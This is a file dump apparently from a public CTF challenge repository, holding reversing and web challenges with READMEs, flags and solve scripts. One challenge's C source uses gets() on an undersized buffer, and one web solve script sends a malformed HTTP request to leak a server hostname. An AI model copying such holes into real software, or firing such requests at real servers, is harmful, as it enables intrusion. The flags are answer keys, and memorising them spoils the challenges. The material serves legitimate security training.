8 | "esModuleInterop": true
9 | }
10 | }
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/src/.dockerignore:
--------------------------------------------------------------------------------
1 | _build
2 | flag.enc.txt
3 | maze.txt
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/src/.gitignore:
--------------------------------------------------------------------------------
1 | _build
2 | flag.enc.txt
3 | maze.txt
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/src/bin/dune:
--------------------------------------------------------------------------------
1 | (executable
2 | (public_name oh_a_camel)
3 | (name main)
4 | (libraries oh_a_camel cryptokit)
5 | (preprocessor_deps (file "../maze.txt") (file "../flag.enc.txt") (file "../preprocess.sh"))
6 | (preprocess (action (system "./preprocess.sh"))))
7 |
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/src/dune-project:
--------------------------------------------------------------------------------
1 | (lang dune 3.16)
2 |
3 | (name oh_a_camel)
4 |
5 | (generate_opam_files true)
6 |
7 | (source
8 | (github username/reponame))
9 |
10 | (authors "Author Name")
11 |
12 | (maintainers "Maintainer Name")
13 |
14 | (license LICENSE)
15 |
16 | (documentation https://url/to/documentation)
17 |
18 | (package
19 | (name oh_a_camel)
20 | (synopsis "A short synopsis")
21 | (description "A longer description")
22 | (depends ocaml dune cryptokit)
23 | (tags
24 | (topics "to describe" your project)))
25 |
26 | ; See the complete stanza docs at https://dune.readthedocs.io/en/stable/reference/dune-project/index.html
27 |
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/src/oh_a_camel.opam:
--------------------------------------------------------------------------------
1 | # This file is generated by dune, edit dune-project instead
2 | opam-version: "2.0"
3 | synopsis: "A short synopsis"
4 | description: "A longer description"
5 | maintainer: ["Maintainer Name"]
6 | authors: ["Author Name"]
7 | license: "LICENSE"
8 | tags: ["topics" "to describe" "your" "project"]
9 | homepage: "https://github.com/username/reponame"
10 | doc: "https://url/to/documentation"
11 | bug-reports: "https://github.com/username/reponame/issues"
12 | depends: [
13 | "ocaml"
14 | "dune" {>= "3.16"}
15 | "cryptokit"
16 | "odoc" {with-doc}
17 | ]
18 | build: [
19 | ["dune" "subst"] {dev}
20 | [
21 | "dune"
22 | "build"
23 | "-p"
24 | name
25 | "-j"
26 | jobs
27 | "@install"
28 | "@runtest" {with-test}
29 | "@doc" {with-doc}
30 | ]
31 | ]
32 | dev-repo: "git+https://github.com/username/reponame.git"
33 |
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/src/preprocess.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | sed -e "s/\[| (\*MAZE\*) |\]/$(cat maze.txt)/" -e "s/\"\"(\*FLAG\*)/$(cat flag.enc.txt)/" bin/main.ml
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/src/test/dune:
--------------------------------------------------------------------------------
1 | (test
2 | (name test_oh_a_camel))
3 |
--------------------------------------------------------------------------------
/Reversing/oh_a_camel/challenge/src/test/test_oh_a_camel.ml:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/oh_a_camel/challenge/src/test/test_oh_a_camel.ml
--------------------------------------------------------------------------------
/Reversing/printf/README.md:
--------------------------------------------------------------------------------
1 | # printf
2 | **Category**: Reversing
3 | **Difficulty**: Medium-Hard
4 | **Author**: Eth007
5 |
6 | # Description
7 | `%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%64949c%*c%c%c%hn%c%c%c%c%c%c%c%545c%hn%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%hhn%*c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%*74$c%8c%75$hhn`
8 |
9 | # Distribution
10 | - `printf`
11 | - `libc.so.6`
12 |
13 | # Solution
14 |
15 | The program checks each four characters of the flag, summed and multiplied by other numbers, against numbers generated by an LCG. This equates to equations in the form `a*f[0] + b*f[1] + c*f[2] + d*f[3]`. We can use z3 or lattices to solve these equations, and get the flag.
16 |
--------------------------------------------------------------------------------
/Reversing/printf/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | (head printf.c -c `echo "$(wc -c printf.c | grep -o '[0-9]*') - 1" | bc` && python3 gen.py | tr -d '\n' && cat end.c) > a.c
3 | gcc a.c -o printf -s
4 |
--------------------------------------------------------------------------------
/Reversing/printf/challenge/dump:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/printf/challenge/dump
--------------------------------------------------------------------------------
/Reversing/printf/challenge/end.c:
--------------------------------------------------------------------------------
1 | ");
2 | }
3 |
--------------------------------------------------------------------------------
/Reversing/printf/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{n3v3r_too_m4ny_form4t_sp3cifi3rs_9a7837294d1633140433f51d13a033736}
2 |
--------------------------------------------------------------------------------
/Reversing/printf/challenge/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/printf/challenge/libc.so.6
--------------------------------------------------------------------------------
/Reversing/printf/challenge/printf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/printf/challenge/printf
--------------------------------------------------------------------------------
/Reversing/printf/challenge/process_dump.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 | from ctypes import CDLL
3 |
4 | base = 0x0000555555554000
5 | a = open("dump", "rb").read()
6 | libc = CDLL(None)
7 |
8 | def rand64():
9 | return libc.rand() + (libc.rand() << 32)
10 |
11 | out = b""
12 | for i in range(0, len(a), 8):
13 | if a[i:i+8] == b"\0"*8:
14 | out += p64(u64(a[i:i+8]) ^ rand64())
15 | else:
16 | out += p64((u64(a[i:i+8])+0x0000555555554000) ^ rand64())
17 |
18 | print(out.hex())
19 |
--------------------------------------------------------------------------------
/Reversing/printf/challenge/solve/__pycache__/solvelinmod.cpython-310.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/printf/challenge/solve/__pycache__/solvelinmod.cpython-310.pyc
--------------------------------------------------------------------------------
/Reversing/printf/challenge/solve/solve.sage:
--------------------------------------------------------------------------------
1 | import solvelinmod
2 | import random
3 |
4 | ords = [random.getrandbits(64) for n in range(4)]
5 | flag = b"ictf"
6 | out = 0
7 | for m,n in zip(ords,flag):
8 | out += m*n
9 | out %= 2**64
10 |
11 | #ords = [14256968251852713, 5856782038711004, 13348175324113344, 8795510881355283]
12 |
13 |
14 | x0 = var('x0')
15 | x1 = var('x1')
16 | x2 = var('x2')
17 | x3 = var('x3')
18 | #eq = (ords[0]*x0 + ords[1]*x1 + ords[2]*x2 + ords[3]*x3 == 4522333535772311031)
19 | eq = (ords[0]*x0 + ords[1]*x1 + ords[2]*x2 + ords[3]*x3 == out)
20 | bounds = {x0: 2**8, x1: 2**8, x2: 2**8, x3: 2**8}
21 |
22 | sol = solvelinmod.solve_linear_mod([(eq, 2**64)], bounds)
23 | print(f'{sol = }')
24 |
--------------------------------------------------------------------------------
/Reversing/printf/challenge/solve/solve.sage.py:
--------------------------------------------------------------------------------
1 |
2 |
3 | # This file was *autogenerated* from the file solve.sage
4 | from sage.all_cmdline import * # import sage library
5 |
6 | _sage_const_64 = Integer(64); _sage_const_4 = Integer(4); _sage_const_0 = Integer(0); _sage_const_2 = Integer(2); _sage_const_1 = Integer(1); _sage_const_3 = Integer(3); _sage_const_8 = Integer(8)
7 | import solvelinmod
8 | import random
9 |
10 | ords = [random.getrandbits(_sage_const_64 ) for n in range(_sage_const_4 )]
11 | flag = b"ictf"
12 | out = _sage_const_0
13 | for m,n in zip(ords,flag):
14 | out += m*n
15 | out %= _sage_const_2 **_sage_const_64
16 |
17 | #ords = [14256968251852713, 5856782038711004, 13348175324113344, 8795510881355283]
18 |
19 |
20 | x0 = var('x0')
21 | x1 = var('x1')
22 | x2 = var('x2')
23 | x3 = var('x3')
24 | #eq = (ords[0]*x0 + ords[1]*x1 + ords[2]*x2 + ords[3]*x3 == 4522333535772311031)
25 | eq = (ords[_sage_const_0 ]*x0 + ords[_sage_const_1 ]*x1 + ords[_sage_const_2 ]*x2 + ords[_sage_const_3 ]*x3 == out)
26 | bounds = {x0: _sage_const_2 **_sage_const_8 , x1: _sage_const_2 **_sage_const_8 , x2: _sage_const_2 **_sage_const_8 , x3: _sage_const_2 **_sage_const_8 }
27 |
28 | sol = solvelinmod.solve_linear_mod([(eq, _sage_const_2 **_sage_const_64 )], bounds)
29 | print(f'{sol = }')
30 |
31 |
--------------------------------------------------------------------------------
/Reversing/rust/README.md:
--------------------------------------------------------------------------------
1 | # Rust
2 |
3 | **Category**: Rev **Difficulty**: Medium **Author**: NoobMaster
4 |
5 | # Description
6 |
7 | Rust! Enjoy :) Note: The message that produces the provided encryption is the flag.
8 |
9 | # Distributions
10 | - `challenge/rust`
11 | - `challenge/output.txt`
12 |
13 | # Solution
14 |
15 | After analyzing the binary, we see that it is taking input for a message and a key. It decodes the key from hex and then calls the encrypt function, providing the message and the key as arguments (and some unknown arguments, rust being rust). We can see the encrypt functions, when meeting some conditions, prints a local variable and then returns. The local variable's value is taken from another local variable (let's call it `enc_array`). Looking at the entire function, the code performs some encryption on each byte and then pushes a certain value to `enc_array`. We can reverse these encryptions and use our knowledge of the flag format (`ictf{`) to find the key. Once we find the key, we can decrypt the entire message! Solve at `challenge/solve.py`
16 |
17 |
18 |
19 |
--------------------------------------------------------------------------------
/Reversing/rust/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{ru57_r3v_7f4d3a}
2 |
--------------------------------------------------------------------------------
/Reversing/rust/challenge/output.txt:
--------------------------------------------------------------------------------
1 | Enter the message:REDACTED
2 | Enter the key (in hex): REDACTED
3 | Encrypted: [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]
4 |
--------------------------------------------------------------------------------
/Reversing/rust/challenge/rust:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/rust/challenge/rust
--------------------------------------------------------------------------------
/Reversing/rust/challenge/solve.py:
--------------------------------------------------------------------------------
1 | enc = [-42148619422891531582255418903, -42148619422891531582255418927, -42148619422891531582255418851, -42148619422891531582255418907, -42148619422891531582255418831, -42148619422891531582255418859, -42148619422891531582255418855, -42148619422891531582255419111, -42148619422891531582255419103, -42148619422891531582255418687, -42148619422891531582255418859, -42148619422891531582255419119, -42148619422891531582255418843, -42148619422891531582255418687, -42148619422891531582255419103, -42148619422891531582255418907, -42148619422891531582255419107, -42148619422891531582255418915, -42148619422891531582255419119, -42148619422891531582255418935, -42148619422891531582255418823]
2 | flag = ''
3 | key = ((~enc[0])-1337)^(ord('i')<<5>>3) # Using the flag format to find the key
4 | print(key)
5 | for i in enc:
6 | flag += chr((((~i)-1337)^key)<<3>>5) # Decrypting the entire message using the key
7 |
8 | print(flag)
--------------------------------------------------------------------------------
/Reversing/svm_revenge/README.md:
--------------------------------------------------------------------------------
1 | # SVM Revenge
2 | **Category:** Reversing
3 | **Difficulty:** Medium/Hard
4 | **Author:** lodsb
5 |
6 | ## Description
7 |
8 | As foretold, the revenge of SVM from round 46 is here!
9 |
10 | ## Distribution
11 |
12 | - the players should get a copy of `svm_revenge` and `output.bin`
13 |
14 | ## Solution
15 |
16 | Figure out that the VM uses a queue to perform all operations. Reverse-engineer the VM's bytecode and figure out that for each block of 16 characters it generates 16 linear equations mod 256. Solve the system of equations for each block to recover the flag.
17 |
--------------------------------------------------------------------------------
/Reversing/svm_revenge/challenge/.gitignore:
--------------------------------------------------------------------------------
1 | *.py
2 |
--------------------------------------------------------------------------------
/Reversing/svm_revenge/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | sage generate_program.sage
3 | gcc -Wall -Wextra -Wpedantic -O0 -o svm_revenge svm_revenge.c
4 | strip svm_revenge
5 | ./svm_revenge
6 |
--------------------------------------------------------------------------------
/Reversing/svm_revenge/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{S_d1dnt_5t4nd_f0r_5t4ck_b3c4u53_h3r3_I_us3d_4_L1nk3d_qu3u3}
--------------------------------------------------------------------------------
/Reversing/svm_revenge/challenge/generate_program.sage:
--------------------------------------------------------------------------------
1 | program = []
2 |
3 | for i in range(1, 17):
4 | program.append('POP')
5 | program.append(str(i))
6 |
7 | # program.append('TRAP')
8 | # program.append('0')
9 |
10 | mat = None
11 |
12 | while mat is None or gcd(mat.determinant(), 256) != 1:
13 | mat = matrix.random(Zmod(256), 16)
14 |
15 | with open('matrix.dump', 'wb') as f:
16 | f.write(dumps(mat))
17 |
18 | for i, row in enumerate(mat):
19 | initer = []
20 | # initer.append('TRAP')
21 | # initer.append(str(i + 1))
22 | c = 0
23 | for j, n in enumerate(row, start=1):
24 | if n == 0:
25 | continue
26 | c += 1
27 | initer.append('PUSH')
28 | initer.append(str(j))
29 | initer.append('PUSH_IMM')
30 | initer.append(str(n))
31 | reducer = []
32 | for j in range(c):
33 | reducer += ['MUL', str(randint(0, 127))]
34 | for j in range(c - 1):
35 | reducer += ['ADD', str(randint(0, 127))]
36 | program += initer + reducer + ['POP', str(i + 17)]
37 |
38 | for i in range(1, 17):
39 | program.append('PUSH')
40 | program.append(str(i + 16))
41 |
42 | program.append('HALT')
43 | program.append('0')
44 |
45 | with open('program.h', 'wt') as f:
46 | f.write(f"static uint8_t PROGRAM[] = {{ {', '.join(program)} }};")
47 |
--------------------------------------------------------------------------------
/Reversing/svm_revenge/challenge/matrix.dump:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/svm_revenge/challenge/matrix.dump
--------------------------------------------------------------------------------
/Reversing/svm_revenge/challenge/output.bin:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/svm_revenge/challenge/output.bin
--------------------------------------------------------------------------------
/Reversing/svm_revenge/challenge/solve.sage:
--------------------------------------------------------------------------------
1 | import struct
2 |
3 | with open('output.bin', 'rb') as f:
4 | data = f.read()
5 |
6 | mat = loads(open('matrix.dump', 'rb').read()).inverse()
7 |
8 | # numbers = list(struct.unpack('<' + 'i' * 64, data))
9 | numbers = list(struct.unpack('<' + 'b' * 64, data))
10 |
11 | chars = []
12 |
13 | for i in range(0, 64, 16):
14 | v = vector(numbers[i:i+16])
15 | chars += list(mat * v)
16 |
17 | print(bytes(chars).decode())
18 |
--------------------------------------------------------------------------------
/Reversing/svm_revenge/challenge/svm_revenge:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/svm_revenge/challenge/svm_revenge
--------------------------------------------------------------------------------
/Reversing/unconditional/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{m0r3_than_1_way5_t0_c0n7r0l}
--------------------------------------------------------------------------------
/Reversing/unconditional/readme.md:
--------------------------------------------------------------------------------
1 | # unconditional
2 | **Category:** Rev
3 | **Difficulty:** medium/hard
4 | **Author:** Minerva.
5 |
6 | ## Description
7 | Can you reverse this flag mangler? The output is `b4,31,8e,02,af,1c,5d,23,98,7d,a3,1e,b0,3c,b3,c4,a6,06,58,28,19,7d,a3,c0,85,31,68,0a,bc,03,5d,3d,0b`
8 |
9 | The input only contains lowercase letters, numbers, underscore, and braces {}.
10 |
11 | ## Distribution
12 |
13 | - `togive/chal`
14 |
15 | ## Solution
16 | TBD.
17 |
--------------------------------------------------------------------------------
/Reversing/unconditional/togive/.s:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/Reversing/unconditional/togive/chal:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/unconditional/togive/chal
--------------------------------------------------------------------------------
/Reversing/unoriginal/README.md:
--------------------------------------------------------------------------------
1 | # unoriginal
2 | **Category**: Reversing
3 | **Difficulty**: Easy
4 | **Author**: Eth007
5 |
6 | # Description
7 | i like elf reversing
8 |
9 | # Distributions
10 | - `unoriginal`
11 |
12 | # Solution
13 | - XOR each character by 5.
14 | - solve.py
15 |
--------------------------------------------------------------------------------
/Reversing/unoriginal/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | gcc unoriginal.c -o unoriginal
3 |
--------------------------------------------------------------------------------
/Reversing/unoriginal/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{just_another_flag_checker_a3465d5e5ee234ba}
2 |
--------------------------------------------------------------------------------
/Reversing/unoriginal/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | enc = b"lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx"
4 | print(xor(enc, 5))
5 |
--------------------------------------------------------------------------------
/Reversing/unoriginal/challenge/unoriginal:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/unoriginal/challenge/unoriginal
--------------------------------------------------------------------------------
/Reversing/unoriginal/challenge/unoriginal.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | int main() {
6 | char buf[42];
7 | printf("Enter your flag here: ");
8 | gets(buf);
9 | for (int i=0; i<48; i++) {
10 | buf[i] ^= 5;
11 | }
12 | if (strcmp(buf, "lfqc~opvqZdkjqm`wZcidbZfm`fn`wZd6130a0`0``761gdx") == 0) {
13 | puts("Correct!");
14 | return 0;
15 | }
16 | else {
17 | puts("Incorrect.");
18 | return 0;
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/Reversing/vokram/README.md:
--------------------------------------------------------------------------------
1 | # vokram
2 | **Category:** Reversing
3 | **Difficulty:** Medium/Hard
4 | **Author:** maple3142
5 |
6 | ## Description
7 |
8 | Can you find what this (very inefficient) VM is doing?
9 |
10 | ## Distribution
11 |
12 | - `vm.py`
13 | - `check_flag.vokram`
14 |
15 | ## Solution
16 |
17 | The VM implements [Markov algorithm](https://en.wikipedia.org/wiki/Markov_algorithm), and the flag checker does these steps:
18 |
19 | 1. Convert the flag into a ternary string
20 | 2. Apply (mod 3) lfsr state transition `N` times
21 | 3. Check if the result matches a certain ternary string
22 |
23 | So you can find the `N` and the lfsr taps by analyzing the substitution rules, then it is easy to reverse the state transition and get the flag.
24 |
25 | It is possible to inspect the intermediate states and solve a linear equation to find its transition matrix instead.
26 |
--------------------------------------------------------------------------------
/Reversing/vokram/challenge/vm.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 | def vokram(text, program):
3 | while True:
4 | for pat, repl, stop in program:
5 | if pat in text:
6 | text = text.replace(pat, repl, 1)
7 | if stop:
8 | return text
9 | break
10 | else:
11 | return text
12 |
13 |
14 | def parse(source):
15 | program = []
16 | for line in source.strip().splitlines():
17 | pat, repl = line.split(":", 1)
18 | stop = False
19 | if len(repl) > 0 and repl[0] == ":":
20 | repl = repl[1:]
21 | stop = True
22 | if ":" in repl:
23 | raise ValueError("invalid rule: %r" % line)
24 | program.append((pat, repl, stop))
25 | return program
26 |
27 |
28 | if __name__ == "__main__":
29 | import sys
30 |
31 | source_file = sys.argv[1]
32 | input_str = sys.argv[2]
33 | with open(source_file) as f:
34 | program = parse(f.read())
35 | print(vokram(input_str, program))
36 |
--------------------------------------------------------------------------------
/Reversing/watchdog/README.md:
--------------------------------------------------------------------------------
1 | # watchdog
2 | **Category**: Reversing
3 | **Difficulty**: Easy-Medium
4 | **Author**: cleverbear57
5 |
6 | # Description
7 | The keepers of the Watchdog vault have forgotten their password. Can you help them retrieve it?
8 |
9 | # Distributions
10 | - `watchdog`
11 |
12 | # Solution
13 | - solve.py
14 |
--------------------------------------------------------------------------------
/Reversing/watchdog/challenge/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | g++ watchdog.cpp -o watchdog
3 |
--------------------------------------------------------------------------------
/Reversing/watchdog/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{i_l0ve_interp0lati0n_2ca38d6ef0a709e0}
2 |
--------------------------------------------------------------------------------
/Reversing/watchdog/challenge/solve.sage:
--------------------------------------------------------------------------------
1 | import solvelinmod
2 |
3 | mod=2**64
4 | res=[924303399913049,2830611888841555553,11417572481992307149,9399377228148865497,4466300653933784009,6929356405062948441,1060599744128290109,2413293955258720417,12532996834583759385,924446205882046577,953636631316484173,8178891442779449225,5149328285628553929,14848938488663696553,10695623300750768253,331402136485900945,7526029785593005913,528067901588867841,17934877594923492173,1823014476946146745,4474927539439552841,11848375034122087289,14775913573091536445,6221187839989261569,8706220284657781273,12220531501790844433,6881877824236885709,1709544903114568809,13840396538186662729,1672874960389122761,12890717860805876349,12512590028788979697,17022931942054141529,4432258044383820193,17829278568412944077,15934592270780519321,9284508610800604361,8084337873092305561,9905442585384757565,9968445791360002913,2334598992640348185,11395810839179523505,16674150723980103501,1359876212648330057]
5 |
6 | flag = [var('flag_%d' % i) for i in range(43)]
7 | equations=[]
8 | for x,r in zip(range(2,46),res):
9 | eq=0
10 | for i,c in enumerate(flag[::-1]):
11 | eq+=c * int(pow(x,i,mod))
12 | equations.append((eq == r,mod))
13 | print(f"entered f({x}) = {r}")
14 |
15 | bounds = {flag[i]:2**8 for i in range(43)}
16 |
17 | sol = solvelinmod.solve_linear_mod(equations, bounds)
18 |
19 | out = []
20 | for i in flag:
21 | out.append(sol[i])
22 | print(bytes(out))
23 |
--------------------------------------------------------------------------------
/Reversing/watchdog/challenge/watchdog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Reversing/watchdog/challenge/watchdog
--------------------------------------------------------------------------------
/Web/crystals/README.md:
--------------------------------------------------------------------------------
1 | # crystals
2 | **Category:** Web
3 | **Difficulty:** Easy-Medium
4 | **Author:** FIREPONY57
5 |
6 | ## Description
7 |
8 | Al₂O₃
9 |
10 | ## Distribution
11 |
12 | - `crystals_release.zip`
13 | - web link (no kctf)
14 |
15 | ## Solution
16 |
17 | - solve.py
18 |
--------------------------------------------------------------------------------
/Web/crystals/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ubuntu:22.04
2 |
3 | RUN DEBIAN_FRONTEND=noninteractive apt-get -y update && apt-get -y install ruby nginx
4 | RUN gem install sinatra
5 | RUN gem install rackup
6 |
7 | COPY app /app
8 | RUN chmod +x /app/run.sh
9 | COPY conf/nginx.conf /etc/nginx/nginx.conf
10 |
11 | EXPOSE 80
12 |
13 | CMD ["/app/run.sh"]
14 |
--------------------------------------------------------------------------------
/Web/crystals/challenge/app/app.rb:
--------------------------------------------------------------------------------
1 | require 'sinatra'
2 |
3 | # Route for the index page
4 | get '/' do
5 | erb :index
6 | end
7 |
--------------------------------------------------------------------------------
/Web/crystals/challenge/app/run.sh:
--------------------------------------------------------------------------------
1 | #!/bin/sh
2 |
3 | ruby /app/app.rb &
4 | /usr/sbin/nginx -g "daemon off;"
5 |
--------------------------------------------------------------------------------
/Web/crystals/challenge/conf/nginx.conf:
--------------------------------------------------------------------------------
1 | user www-data;
2 | worker_processes auto;
3 | pid /run/nginx.pid;
4 | include /etc/nginx/modules-enabled/*.conf;
5 |
6 | events {
7 | worker_connections 768;
8 | multi_accept on;
9 | }
10 |
11 | http {
12 |
13 | server {
14 | listen 80;
15 | server_name 127.0.0.1 localhost;
16 | location / {
17 | proxy_pass http://127.0.0.1:4567;
18 | }
19 |
20 | }
21 |
22 | sendfile on;
23 | tcp_nopush on;
24 | types_hash_max_size 2048;
25 | server_tokens off;
26 |
27 | # server_names_hash_bucket_size 64;
28 | # server_name_in_redirect off;
29 |
30 | include /etc/nginx/mime.types;
31 | default_type application/octet-stream;
32 |
33 | ssl_protocols TLSv1 TLSv1.1 TLSv1.2 TLSv1.3; # Dropping SSLv3, ref: POODLE
34 | ssl_prefer_server_ciphers on;
35 |
36 | access_log /var/log/nginx/access.log;
37 | error_log /var/log/nginx/error.log;
38 |
39 | gzip on;
40 |
41 | # gzip_proxied any;
42 | # gzip_comp_level 6;
43 | # gzip_buffers 16 8k;
44 | # gzip_http_version 1.1;
45 | # gzip_types text/plain text/css application/json application/javascript text/xml application/xml application/xml+rss text/javascript;
46 |
47 |
48 | }
49 |
--------------------------------------------------------------------------------
/Web/crystals/challenge/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.3'
2 | services:
3 | deployment:
4 | hostname: $FLAG
5 | build: .
6 | ports:
7 | - 10001:80
8 |
--------------------------------------------------------------------------------
/Web/crystals/challenge/flag.txt:
--------------------------------------------------------------------------------
1 | ictf{seems_like_you_broke_it_pretty_bad_76a87694}
2 |
--------------------------------------------------------------------------------
/Web/crystals/challenge/solve.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 | conn = remote("localhost", 10001)
4 |
5 | conn.sendline("""GET /? XTTP/1.1
6 | Host: 127.0.0.1
7 | Connection: close""")
8 |
9 | conn.interactive()
10 |
--------------------------------------------------------------------------------
/Web/crystals/crystals_release.zip:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/ImaginaryCTF/ImaginaryCTF-2024-Challenges-Public/21ea0e040638b953f5cc0efca1d900024899a7bc/Web/crystals/crystals_release.zip
--------------------------------------------------------------------------------
/Web/forms/README.md:
--------------------------------------------------------------------------------
1 | # Forms
2 | **Category:** Web
3 | **Difficulty:** Medium/Hard
4 | **Author:** lodsb
5 |
6 | ## Description
7 |
8 | Check out an early development version of our forms application!
9 |
10 | ## Distribution
11 |
12 | - url
13 | - forms.tar.gz (app, Dockerfile and requirements.txt with the flag removed)
14 |
15 | ## Solution
16 |
17 | Based on https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/. There is no charset meta tag and the `fail` function overwrites `Content-Type` header to not include charset. See `solve.py` for an example solution.
--------------------------------------------------------------------------------
/Web/forms/challenge.yaml:
--------------------------------------------------------------------------------
1 | apiVersion: kctf.dev/v1
2 | kind: Challenge
3 | metadata:
4 | name: "forms"
5 | spec:
6 | deployed: true
7 | powDifficultySeconds: 0
8 | network:
9 | public: true
10 | ports:
11 | - protocol: "TCP"
12 | port: 80
13 | targetPort: 5000
14 | healthcheck:
15 | enabled: true
16 | image: eu.gcr.io/imaginaryctf-2023/forms-healthcheck:f924b21037ef38c7220ce4c34c542c197716c3c6e2c954ca605b705a4e1ba759
17 | image: eu.gcr.io/imaginaryctf-2023/forms-challenge:3a7cf3083803a5d38b1039333271903b2e54329cfcc53362419b1b14dd32e581
18 |
--------------------------------------------------------------------------------
/Web/forms/challenge/.gitignore:
--------------------------------------------------------------------------------
1 | .venv
2 | instance
--------------------------------------------------------------------------------
/Web/forms/challenge/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.12.4-bookworm
2 |
3 | ARG DEBIAN_FRONTEND=noninteractive
4 | # borrowed from https://github.com/dimmg/dockselpy/blob/master/Dockerfile
5 | RUN BUILD_DEPS="curl unzip" && \
6 | apt-get update && apt-get install --no-install-recommends -y \
7 | wget \
8 | fonts-liberation libappindicator3-1 libasound2 libatk-bridge2.0-0 \
9 | libnspr4 libnss3 lsb-release xdg-utils libxss1 libdbus-glib-1-2 libgbm1 \
10 | $BUILD_DEPS \
11 | xvfb && \
12 | GECKODRIVER_VERSION='v0.34.0' && \
13 | wget https://github.com/mozilla/geckodriver/releases/download/$GECKODRIVER_VERSION/geckodriver-$GECKODRIVER_VERSION-linux64.tar.gz && \
14 | tar -zxf geckodriver-$GECKODRIVER_VERSION-linux64.tar.gz -C /usr/local/bin && \
15 | chmod +x /usr/local/bin/geckodriver && \
16 | rm geckodriver-$GECKODRIVER_VERSION-linux64.tar.gz
17 |
18 | WORKDIR /app
19 | COPY requirements.txt .
20 | COPY app app
21 | RUN pip install -r requirements.txt
22 | RUN pip install gunicorn
23 |
24 | VOLUME /tmp/
25 | VOLUME /app/
26 | VOLUME /root/
27 |
28 | CMD python3 -m flask run -h 0.0.0.0
29 |
--------------------------------------------------------------------------------
/Web/forms/challenge/app/.dockerignore:
--------------------------------------------------------------------------------
1 | __pycache__
--------------------------------------------------------------------------------
/Web/forms/challenge/app/.gitignore:
--------------------------------------------------------------------------------
1 | __pycache__
--------------------------------------------------------------------------------
/Web/forms/challenge/app/__init__.py:
--------------------------------------------------------------------------------
1 | from .main import app
--------------------------------------------------------------------------------
